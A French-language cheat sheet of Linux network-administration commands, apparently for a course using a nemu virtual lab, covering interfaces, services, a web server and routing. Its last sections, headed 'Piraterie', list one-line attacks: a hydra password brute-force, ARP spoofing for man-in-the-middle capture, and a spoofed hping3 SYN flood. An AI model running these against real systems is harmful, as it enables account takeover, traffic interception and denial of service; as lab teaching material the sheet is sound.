

### Gestion de l'interface réseau

voir ses interfaces actives	<code>ip link</code>
allumer une carte réseau	<code>ifup &lt;interface&gt;</code>
éteindre une carte réseau	<code>ifdown &lt;interface&gt;</code>
<code>&lt;interface&gt; : eth0</code>	

### Gestion des services

vérifier le status d'un service	<code>systemctl status &lt;service&gt;</code>
démarrer un service	<code>systemctl start &lt;service&gt;</code>
arrêter un service	<code>systemctl stop &lt;service&gt;</code>
redémarrer un service	<code>systemctl restart &lt;service&gt;</code>
<code>&lt;service&gt; : &lt;nom_du_service&gt;   &lt;nom_du_service.service&gt;</code>	

### Serveur web

lancer (classique)	<code>busybox httpd -f -vv -h /var/www/html</code>
lancer (sécurisé)	<code>systemctl start lighttpd</code>
emplacement du site	<code>/var/www/html</code>
générer une clé ssl	<code>openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out nom.crt -keyout nom.key</code>

### Fichiers de configuration

nom de la machine	<code>/etc/hostname</code>
gestion des dns	<code>/etc/hosts</code>
gérer la passerelle réseau	<code>/etc/network/interfaces</code>

### Gestion de la machine virtuelle

lancer les machines	<code>/mnt/netta/apps/vnet/nemu-vnet netadm</code>
sauvegarder les machines	<code>poweroff</code> sur chacune des machines puis <code>save ()</code> sur le terminal
restaurer les machines	<code>/mnt/netta/apps/vnet/nemu-restore ~/vnet/netadm.tgz</code>
quitter nemu	<code>quit ()</code> dans le terminal

### gestion du routeur

définir une machine comme routeur	<code>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</code>
-----------------------------------	--

### Piraterie (dictionnaire)

attaquer	<code>hydra -V -f -l admin -P &lt;fichier de mots de passe&gt; http-get://&lt;url victime&gt;</code>
----------	--

### Piraterie (Man in the middle)

arp spoof	<code>arpspoof -t &lt;victime&gt; &lt;routeur&gt;</code>
lancer wireshark	<code>wireshark -i eth0 -k</code>

### Piraterie (DOS)

attaquer	<code>hping3 --flood --syn --spoof &lt;IP source usurpée&gt; &lt;IP victime&gt;</code>
----------	--

